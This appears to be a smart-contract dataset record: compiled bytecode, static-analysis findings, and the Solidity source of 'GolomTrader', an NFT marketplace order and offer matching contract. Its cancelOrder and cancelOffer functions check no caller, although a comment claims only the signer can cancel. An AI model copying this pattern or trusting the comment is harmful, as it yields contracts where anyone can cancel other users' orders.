0611eb491906125f4565b6020840152808352604083015110159050611ee15760405162461bcd60e51b8152600401610351906128c4565b806020015181606001511015611f095760405162461bcd60e51b8152600401610351906129a0565b7f81ae8c56a0f81a8730507b25ff6b0d98282ba1839b6b7804db84fb458b6da3d681600001518260400151038260200151836060015103604051611f4e929190612b21565b60405180910390a1611939897311111112542d85b3ef69ae05771c2dccff4faa266121d4565b600061201c827f000000000000000000000000e9fb0c2206b53d3e76c88da58790f7fe9a45b373846001600160a01b03166370a08231306040518263ffffffff1660e01b8152600401611fc79190612691565b60206040518083038186803b158015611fdf57600080fd5b505afa158015611ff3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061201791906125b9565b6122d5565b5060015b919050565b604080516000808252602082019092526001600160a01b03841690839060405161204f9190612658565b60006040518083038185875af1925050503d806000811461208c576040519150601f19603f3d011682016040523d82523d6000602084013e612091565b606091505b50509050806120b25760405162461bcd60e51b815260040161035190612932565b505050565b600080856001600160a01b03166323b872dd60e01b8686866040516024016120e1939291906126bf565b60408051601f198184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff0000000000000000000000000000000000000000000000000000000090941693909317909252905161214c9190612658565b6000604051808303816000865af19150503d8060008114612189576040519150601f19603f3d011682016040523d82523d6000602084013e61218e565b606091505b50915091508180156121b85750805115806121b85750808060200190518101906121b8919061259d565b6107d45760405162461bcd60e51b815260040161035190612a0e565b6040517fdd62ed3e0000000000000000000000000000000000000000000000000000000081526000906001600160a01b0384169063dd62ed3e9061221e90309086906004016126a5565b60206040518083038186803b15801561223657600080fd5b505afa15801561224a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061226e91906125b9565b11156122d15760405163095ea7b360e01b81526001600160a01b0383169063095ea7b3906122a39084906000906004016126e3565b600060405180830381600087803b1580156122bd57600080fd5b505af11580156107d4573d6000803e3d6000fd5b5050565b600080846001600160a01b031663a9059cbb60e01b85856040516024016122fd9291906126e3565b60408051601f198184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff000000000000000000000000000000000000000000000000000000009094169390931790925290516123689190612658565b6000604051808303816000865af19150503d80600081146123a5576040519150601f19603f3d011682016040523d82523d6000602084013e6123aa565b606091505b50915091508180156123d45750805115806123d45750808060200190518101906123d4919061259d565b6123f05760405162461bcd60e51b815260040161035190612969565b5050505050565b6040518060800160405280600081526020016000815260200160008152602001600081525090565b803561202081612c45565b600060a0828403121561243b578081fd5b50919050565b600060208284031215612452578081fd5b813561245d81612c45565b9392505050565b600060208284031215612475578081fd5b815161245d81612c45565b600080600060608486031215612494578182fd5b833561249f81612c45565b925060208401356124af81612c45565b9150604084013567ffffffffffffffff8111156124ca578182fd5b6124d68682870161242a565b9150509250925092565b60008060008060008060c087890312156124f8578182fd5b863561250381612c45565b955060208701359450604087013561251a81612c45565b9350606087013561252a81612c45565b9250608087013567ffffffffffffffff80821115612546578384fd5b6125528a838b0161242a565b935060a0890135915080821115612567578283fd5b5061257489828a0161242a565b9150509295509295509295565b600060208284031215612592578081fd5b813561245d81612c5d565b6000602082840312156125ae578081fd5b815161245d81612c5d565b6000602082840312156125ca578081fd5b5051919050565b600080604083850312156125e3578182fd5b505080516020909101519092909150565b600080600060608486031215612608578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b03169052565b60008284528282602086013780602084860101526020601f19601f85011685010190509392505050565b60008251815b81811015612678576020818601810151858301520161265e565b818111156126865782828501525b509190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b60006001600160a01b0386168252606060208301526127316060830161272c8761241f565b612621565b61273d6020860161241f565b61274a6080840182612621565b506127576040860161241f565b61276460a0840182612621565b506127716060860161241f565b61277e60c0840182612621565b50608085013560e083015261010060a08601358184015260c08601356101208401526127ad60e0870187612c00565b826101408601526127c36101608601828461262e565b9250505082810360408401526127da81858761262e565b979650505050505050565b60006001600160a01b0387168252856020830152846040830152608060608301528260808301527f07ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff831115612838578081fd5b60208302808560a08501379190910160a00190815295945050505050565b60208082526003908201527f4954310000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526004908201527f4e41543000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526003908201527f5541300000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526004908201527f4e41543100000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526003908201527f5354450000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526002908201527f5354000000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526003908201527f5541310000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526002908201527f4941000000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526003908201527f5354460000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526002908201527f4241000000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526003908201527f4954300000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526002908201527f424f000000000000000000000000000000000000000000000000000000000000604082015260600190565b60208082526003908201527f544e410000000000000000000000000000000000000000000000000000000000604082015260600190565b918252602082015260400190565b92835260208301919091526001600160a01b0316604082015260600190565b6000808335601e19843603018112612b64578283fd5b83018035915067ffffffffffffffff821115612b7e578283fd5b6020908101925081023603821315612b9557600080fd5b9250929050565b6000808335601e19843603018112612bb2578182fd5b83018035915067ffffffffffffffff821115612bcc578283fd5b602001915036819003821315612b9557600080fd5b6000823560fe19833603018112612bf6578182fd5b9190910192915050565b6000808335601e19843603018112612c16578283fd5b830160208101925035905067ffffffffffffffff811115612c3657600080fd5b803603831315612b9557600080fd5b6001600160a01b0381168114612c5a57600080fd5b50565b8015158114612c5a57600080fdfea2646970667358221220f56597702d3a6435a791325ea44ada6a01771320b99738f7f6e9db259300d91c64736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 684 |
0xd0a60ac51f6d5acf9e04037716634c23aeaa869a | // SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
interface ERC721 {
function safeTransferFrom(address from,address to,uint256 tokenId) external;
}
interface ERC20 {
function transferFrom(address src, address dst, uint wad)
external
returns (bool);
}
contract GolomTrader {
mapping(bytes32 => bool) public orderhashes; // keep tracks of orderhashes that are filled or cancelled so they cant be filled again
mapping(bytes32 => bool) public offerhashes; // keep tracks of offerhashes that are filled or cancelled so they cant be filled again
address payable owner;
ERC20 wethcontract;
event Orderfilled(address indexed from,address indexed to, bytes32 indexed id, uint amt,address referrer,uint feeAmt,uint royaltyAmt,address royaltyAddress,address buyerAddress);
event Offerfilled(address indexed from,address indexed to, bytes32 indexed id, uint amt,uint feeAmt,uint royaltyAmt,address royaltyAddress,uint isany);
event Ordercancelled(bytes32 indexed id);
event Offercancelled(bytes32 indexed id);
constructor ()
{
owner = payable(msg.sender);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
wethcontract = ERC20(WETH);
}
/// @notice returns eip712domainhash
function _eip712DomainHash() internal view returns(bytes32 eip712DomainHash) {
eip712DomainHash = keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes("GOLOM.IO")),
keccak256(bytes("1")),
1,
address(this)
)
);
}
/// @notice order is a swap(erc721 -->eth) where maker is nft seller and taker is nft buyer
/// @param v,r,s EIP712 type signature of signer/nft seller
/// @param _addressArgs[5] address arguments array
/// @param _uintArgs[6] uint arguments array
/// @dev addressargs->//0 - tokenAddress,//1 - signer,//2 - royaltyaddress,//3 - reffereraddress // 4-buyerAddress
/// @dev uintArgs->//0-tokenId ,//1-totalAmt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt
/// @dev totalAmt, totalAmt of ether in wei that the trade is done for , seller gets totalAmt-fees - royalty
/// @dev deadline, deadline till order is valid
/// @dev feeamt fee to be paid to owner of contract
/// @dev signer seller of nft and signer of signature
/// @dev salt salt for uniqueness of the order
/// @dev refferer address that reffered the trade
/// @dev buyerAddress address allowed to fill the order if (0) anyone can fill
function matchOrder(
uint8 v,
bytes32 r,
bytes32 s,
address[5] calldata _addressArgs,
uint[6] calldata _uintArgs
) external payable {
require(block.timestamp < _uintArgs[2], "Signed transaction expired");
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchorder(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,uint royaltyAmt,address royaltyAddress,address signer,address buyerAddress,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_uintArgs[5],
_addressArgs[2],
_addressArgs[1],
_addressArgs[4],
_uintArgs[2],
_uintArgs[4]
)
);
require(uint256(s) <= uint256(0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0),"found malleable signature, please insert a low-s signature");
require(v == 27 || v == 28, "Signature: Invalid v parameter");
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
require(signaturesigner == _addressArgs[1], "invalid signature");
if (_addressArgs[4]!=address(0)){
require(msg.sender==_addressArgs[4],"not fillable by this address");
}
require(msg.value == _uintArgs[1], "wrong eth amt");
require(orderhashes[hashStruct]==false,"order filled or cancelled");
orderhashes[hashStruct]=true; // prevent reentrency and also doesnt allow any order to be filled more then once
ERC721 nftcontract = ERC721(_addressArgs[0]);
nftcontract.safeTransferFrom(_addressArgs[1],msg.sender ,_uintArgs[0]); // transfer
if (_uintArgs[3]>0){
owner.transfer(_uintArgs[3]); // fee transfer to owner
}
if (_uintArgs[5]>0){ // if royalty has to be paid
payable(_addressArgs[2]).transfer(_uintArgs[5]); // royalty transfer to royaltyaddress
}
payable(_addressArgs[1]).transfer(msg.value-_uintArgs[3]-_uintArgs[5]); // transfer of eth to seller of nft
emit Orderfilled(_addressArgs[1], msg.sender, hashStruct , _uintArgs[1] , _addressArgs[3] ,_uintArgs[3],_uintArgs[5],_addressArgs[2],_addressArgs[4]);
}
/// @notice cancels order and make it unfillable
function cancelOrder(
address[5] calldata _addressArgs,
uint[6] calldata _uintArgs
) external{
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchorder(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,uint royaltyAmt,address royaltyAddress,address signer,address buyerAddress,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_uintArgs[5],
_addressArgs[2],
_addressArgs[1],
_addressArgs[4],
_uintArgs[2],
_uintArgs[4]
)
);
orderhashes[hashStruct]=true; // no need to check for signature validation since sender can only invalidate his own order
emit Ordercancelled(hashStruct);
}
/// @notice offer is a swap(erc721 -->eth) where maker is nft buyer and taker is nft seller , called by seller of ERc721NFT when he sees a signed buy offer of ethamt ETH
/// @param v,r,s EIP712 type signature of signer/nft buyer
/// @param _addressArgs[3] address arguments array
/// @param _uintArgs[7] uint arguments array
/// @dev addressargs->//0 - tokenAddress,//1 - signer,//2 - royaltyaddress
/// @dev uintArgs->//0-tokenId ,//1-ethamt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt,//6-Isanytoken
/// @dev Isanytoken , if this is 1 then any token of the tokenAddress collection can be used to fill this offer
function matchOffer(
uint8 v,
bytes32 r,
bytes32 s,
address[3] calldata _addressArgs,
uint[7] calldata _uintArgs
) external {
require(block.timestamp < _uintArgs[2], "Signed transaction expired");
bytes32 hashStruct;
if (_uintArgs[6]==1){
hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(uint anyToken,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[6],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}else{
hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}
require(uint256(s) <= uint256(0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0),"found malleable signature, please insert a low-s signature");
require(v == 27 || v == 28, "Signature: Invalid v parameter");
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
require(signaturesigner == _addressArgs[1], "invalid signature");
require(offerhashes[hashStruct]==false,"order filled or cancelled");
offerhashes[hashStruct]=true;
if (_uintArgs[3]>0){
require(wethcontract.transferFrom(_addressArgs[1], owner , _uintArgs[3]),"error in weth transfer");
}
if (_uintArgs[5]>0){
require(wethcontract.transferFrom(_addressArgs[1], _addressArgs[2] , _uintArgs[5]),"error in weth transfer");
}
require(wethcontract.transferFrom(_addressArgs[1], msg.sender, _uintArgs[1]-_uintArgs[5]-_uintArgs[3]),"error in weth transfer");
ERC721 nftcontract = ERC721(_addressArgs[0]);
nftcontract.safeTransferFrom(msg.sender,_addressArgs[1] ,_uintArgs[0]);
emit Offerfilled(_addressArgs[1], msg.sender, hashStruct , _uintArgs[1] ,_uintArgs[3],_uintArgs[5],_addressArgs[2],0);
}
/// @notice cancels order and make it unfillable
function cancelOffer(
address[3] calldata _addressArgs,
uint[7] calldata _uintArgs
) external{
bytes32 hashStruct;
if (_uintArgs[6]==1){
hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(uint anyToken,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[6],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}else{
hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}
offerhashes[hashStruct]=true;
emit Offercancelled(hashStruct);
}
///@notice returns Keccak256 hash of an order
function orderHash(
address[5] calldata _addressArgs,
uint[6] calldata _uintArgs
) public pure returns (bytes32) {
return keccak256(
abi.encode(
keccak256("matchorder(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,uint royaltyAmt,address royaltyAddress,address signer,address buyerAddress,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_uintArgs[5],
_addressArgs[2],
_addressArgs[1],
_addressArgs[4],
_uintArgs[2],
_uintArgs[4]
)
);
}
function offerHash(
address[3] memory _addressArgs,
uint[7] memory _uintArgs
) public pure returns (bytes32) {
if (_uintArgs[6]==1){
return keccak256(
abi.encode(
keccak256("matchoffer(uint anyToken,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[6],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}else{
return keccak256(
abi.encode(
keccak256("matchoffer(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}
}
// ALREADY FILLED OR CANCELLED - 1
// deadline PASSED- 2 EXPIRED
// sign INVALID - 0
// VALID - 3
/// @notice returns status of an offer
function orderStatus(
uint8 v,
bytes32 r,
bytes32 s,
address[5] calldata _addressArgs,
uint[6] calldata _uintArgs
) public view returns (uint256) {
if (block.timestamp > _uintArgs[2]){
return 2;
}
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchorder(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,uint royaltyAmt,address royaltyAddress,address signer,address buyerAddress,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_uintArgs[5],
_addressArgs[2],
_addressArgs[1],
_addressArgs[4],
_uintArgs[2],
_uintArgs[4]
)
);
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
if (signaturesigner != _addressArgs[1]){
return 0;
}
if (orderhashes[hashStruct]==true){
return 1;
}
return 3;
}
// ALREADY FILLED OR CANCELLED - 1
// deadline PASSED- 2 EXPIRED
// sign INVALID - 0
// VALID - 3
/// @notice returns status of an order
function offerStatus(
uint8 v,
bytes32 r,
bytes32 s,
address[3] memory _addressArgs,
uint[7] memory _uintArgs
) public view returns (uint256) {
if (block.timestamp > _uintArgs[2]){
return 2;
}
bytes32 hashStruct;
if (_uintArgs[6]==1){
hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(uint anyToken,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[6],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}else{
hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
if (signaturesigner != _addressArgs[1]){
return 0;
}
if (offerhashes[hashStruct]==true){
return 1;
}
return 3;
}
} | 0x6080604052600436106100915760003560e01c8063477df01a11610059578063477df01a1461017e57806360de5fb2146101a757806361945964146101e457806362ff1a3714610221578063e347dcb01461025e57610091565b806303d0fbb9146100965780631a777dc7146100bf5780631faf0de6146100db57806332f203a614610118578063341b110814610155575b600080fd5b3480156100a257600080fd5b506100bd60048036038101906100b891906140a6565b61029b565b005b6100d960048036038101906100d49190614196565b611355565b005b3480156100e757600080fd5b5061010260048036038101906100fd9190613fda565b6121fb565b60405161010f91906145c4565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a919061411e565b612662565b60405161014c91906148a0565b60405180910390f35b34801561016157600080fd5b5061017c60048036038101906101779190614017565b612c62565b005b34801561018a57600080fd5b506101a560048036038101906101a09190613f9d565b612fc2565b005b3480156101b357600080fd5b506101ce60048036038101906101c99190614017565b6134b8565b6040516101db91906145c4565b60405180910390f35b3480156101f057600080fd5b5061020b60048036038101906102069190614196565b6137c1565b60405161021891906148a0565b60405180910390f35b34801561022d57600080fd5b506102486004803603810190610243919061407d565b613c70565b60405161025591906145a9565b60405180910390f35b34801561026a57600080fd5b506102856004803603810190610280919061407d565b613c90565b60405161029291906145a9565b60405180910390f35b806002600781106102d5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135421061031b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161031290614820565b60405180910390fd5b6000600182600660078110610359577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135141561058e577f8f56730f66b8f83687c499fa9adbd90345d19f433677b1c89d97bd615f068940826006600781106103bf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135846000600381106103fe577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906104119190613f74565b8460016007811061044b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358560036007811061048a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135876001600381106104c9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906104dc9190613f74565b87600260078110610516577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013588600460078110610555577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135604051602001610571989796959493929190614632565b6040516020818303038152906040528051906020012090506107b4565b7f11c6fd2ed9f491031306a176b645e6e75cdcc3d771ecf757b21e61f800f139b5826000600781106105e9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013584600060038110610628577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061063b9190613f74565b84600160078110610675577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135856003600781106106b4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135876001600381106106f3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906107069190613f74565b87600260078110610740577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358860046007811061077f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013560405160200161079b989796959493929190614632565b6040516020818303038152906040528051906020012090505b7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08460001c111561081a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081190614880565b60405180910390fd5b601b8660ff16148061082f5750601c8660ff16145b61086e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086590614860565b60405180910390fd5b6000610878613cb0565b8260405160200161088a929190614504565b6040516020818303038152906040528051906020012090506000600182898989604051600081526020016040526040516108c7949392919061475b565b6020604051602081039080840390855afa1580156108e9573d6000803e3d6000fd5b5050506020604051035190508460016003811061092f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906109429190613f74565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146109af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a6906147a0565b60405180910390fd5b600015156001600085815260200190815260200160002060009054906101000a900460ff16151514610a16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0d90614800565b60405180910390fd5b600180600085815260200190815260200160002060006101000a81548160ff021916908315150217905550600084600360078110610a7d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201351115610c2557600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd86600160038110610b00577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190610b139190613f74565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1687600360078110610b70577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040518463ffffffff1660e01b8152600401610b939392919061453b565b602060405180830381600087803b158015610bad57600080fd5b505af1158015610bc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be59190614054565b610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b906147c0565b60405180910390fd5b5b600084600560078110610c61577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201351115610e3357600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd86600160038110610ce4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190610cf79190613f74565b87600260038110610d31577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190610d449190613f74565b87600560078110610d7e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040518463ffffffff1660e01b8152600401610da193929190614572565b602060405180830381600087803b158015610dbb57600080fd5b505af1158015610dcf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df39190614054565b610e32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e29906147c0565b60405180910390fd5b5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd86600160038110610eab577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190610ebe9190613f74565b3387600360078110610ef9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013588600560078110610f38577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013589600160078110610f77577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135610f869190614a08565b610f909190614a08565b6040518463ffffffff1660e01b8152600401610fae93929190614572565b602060405180830381600087803b158015610fc857600080fd5b505af1158015610fdc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110009190614054565b61103f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611036906147c0565b60405180910390fd5b60008560006003811061107b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061108e9190613f74565b90508073ffffffffffffffffffffffffffffffffffffffff166342842e0e33886001600381106110e7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906110fa9190613f74565b88600060078110611134577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040518463ffffffff1660e01b815260040161115793929190614572565b600060405180830381600087803b15801561117157600080fd5b505af1158015611185573d6000803e3d6000fd5b50505050833373ffffffffffffffffffffffffffffffffffffffff16876001600381106111db577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906111ee9190613f74565b73ffffffffffffffffffffffffffffffffffffffff167fa7d8f91a29a74a964eb806fe7ae08aa76f1b7df083c6371e800d06463644743d8860016007811061125f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358960036007811061129e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358a6005600781106112dd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358c60026003811061131c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061132f9190613f74565b600060405161134295949392919061491c565b60405180910390a4505050505050505050565b8060026006811061138f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013542106113d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cc90614820565b60405180910390fd5b60007f48b47302fd6c42e509da9a3671ab74168d26db49c015569040ea23d0a300cf7582600060068110611432577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013584600060058110611471577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906114849190613f74565b846001600681106114be577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135856003600681106114fd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358660056006811061153c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358860026005811061157b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061158e9190613f74565b896001600581106115c8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906115db9190613f74565b8a600460058110611615577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906116289190613f74565b8a600260068110611662577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358b6004600681106116a1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040516020016116c09b9a999897969594939291906146b0565b6040516020818303038152906040528051906020012090507f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08460001c111561173e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173590614880565b60405180910390fd5b601b8660ff1614806117535750601c8660ff16145b611792576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178990614860565b60405180910390fd5b600061179c613cb0565b826040516020016117ae929190614504565b6040516020818303038152906040528051906020012090506000600182898989604051600081526020016040526040516117eb949392919061475b565b6020604051602081039080840390855afa15801561180d573d6000803e3d6000fd5b50505060206040510351905084600160058110611853577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906118669190613f74565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146118d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ca906147a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1685600460058110611925577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906119389190613f74565b73ffffffffffffffffffffffffffffffffffffffff1614611a0e578460046005811061198d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906119a09190613f74565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a04906147e0565b60405180910390fd5b5b83600160068110611a48577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201353414611a8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8590614840565b60405180910390fd5b6000151560008085815260200190815260200160002060009054906101000a900460ff16151514611af4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aeb90614800565b60405180910390fd5b600160008085815260200190815260200160002060006101000a81548160ff021916908315150217905550600085600060058110611b5b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190611b6e9190613f74565b90508073ffffffffffffffffffffffffffffffffffffffff166342842e0e87600160058110611bc6577f4e487b7100000000000000000000000000000